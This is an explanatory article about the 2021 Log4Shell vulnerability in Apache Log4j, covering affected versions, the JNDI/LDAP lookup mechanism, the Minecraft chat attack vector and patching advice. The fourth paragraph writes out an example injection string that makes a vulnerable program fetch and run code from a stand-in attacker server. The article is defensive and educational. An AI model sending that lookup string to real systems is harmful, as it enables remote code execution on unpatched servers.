On December 9, 2021, a critical zero-day vulnerability within Log4j was disclosed to the world. Log4j is an open-source logging package that is distributed by Apache and used by millions of Java applications, including those developed by big names such as Apple, Amazon, Baidu, Cloudflare, Tesla, and Twitter. Minecraft servers were among the most notable victims of the zero-day being exploited in the wild. Nicknamed Log4Shell and officially designated as CVE-2021-44228, this critical vulnerability affects Log4j versions 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0. It has a Common Vulnerability Scoring System (CVSS) v3 base score of 10, the highest possible score for this metric. Apache attempted to fix the vulnerability in Log4j version 2.15.0. However, as noted by the details of CVE-2021-45046, this fix was incomplete. It is recommended to upgrade Log4j to version 2.16.0 for Java 8 and up, or version 2.12.2 for Java 7.

In the world of software development, logging is the practice of recording events that happen in a computer program. Logs typically take the form of timestamped messages that are stored in files for later analysis. Software developers and maintenance staff use logs for identifying issues within their applications. It is also common for developers to incorporate preexisting collections of code, or packages, into their own projects so that they can re-use working solutions for common problems rather than doing everything from scratch. Log4Shell is a widespread issue because Log4j is practically ubiquitous in the Java world. Even if a Java application does not directly include Log4j as a dependency—that is, a package necessary to compile (make) the executable program—it may depend on some other package that includes Log4j.

Log4Shell is a remote code execution (RCE) vulnerability, meaning that it allows an attacker to execute arbitrary code on a remote target. There are three components that, when combined, make remote code execution possible with Log4j: the Java Naming and Directory Interface (JNDI), the Lightweight Directory Access Protocol (LDAP), and the improper validation of log messages that contain user input. JNDI is an application programming interface (API) used to provide naming and directory services at runtime. LDAP is a protocol that is commonly used for storing and accessing directory information, and it is among the services provided by the JNDI.

The root of the problem is a feature called message lookup substitution, which is enabled by default in vulnerable versions of Log4j. Lookups contain references to resources. These references are delimited with ${ and }, and they are parsed and expanded at runtime. For example, if ${date:MM-dd-yyyy} was provided as input, Java would fetch the current date, and put 12-17-2021 into the log message as output. Unfortunately, vulnerable versions of Log4j do not sanitize URLs within lookups. As a result, lookups could be used to access JNDI to make connections to remote LDAP servers, such as ones controlled by bad actors. For example, if a lookup like ${jndi:ldap://badserver.com/maliciouscode} was given to a vulnerable Java program, the malicious LDAP server would be queried via JNDI, then the malicious code would be retrieved and executed by the program!

For attackers to inject malicious lookups, user-supplied information must be logged by Java programs that use vulnerable versions of Log4j. In the case of the Minecraft servers, logs were apparently generated from chat messages, so all attackers needed to do was insert malicious lookups into the chat box! Although the Java edition of Minecraft received a security patch on December 10, 2021, many more Java applications may still be at risk. Aside from making Java applications download malicious code from remote servers, attackers may also create lookups that exfiltrate sensitive information, such as environment variables. Software developers should update Log4j for their Java applications. If this is not possible, the JndiLookup class should be removed from the classpath; detailed instructions are provided by the Apache page for Log4j security vulnerabilities. IT security staff should install software patches that address Log4Shell and see if the services provided to them may be vulnerable. Both Microsoft and Sophos have provided guidance for addressing the Log4Shell vulnerability.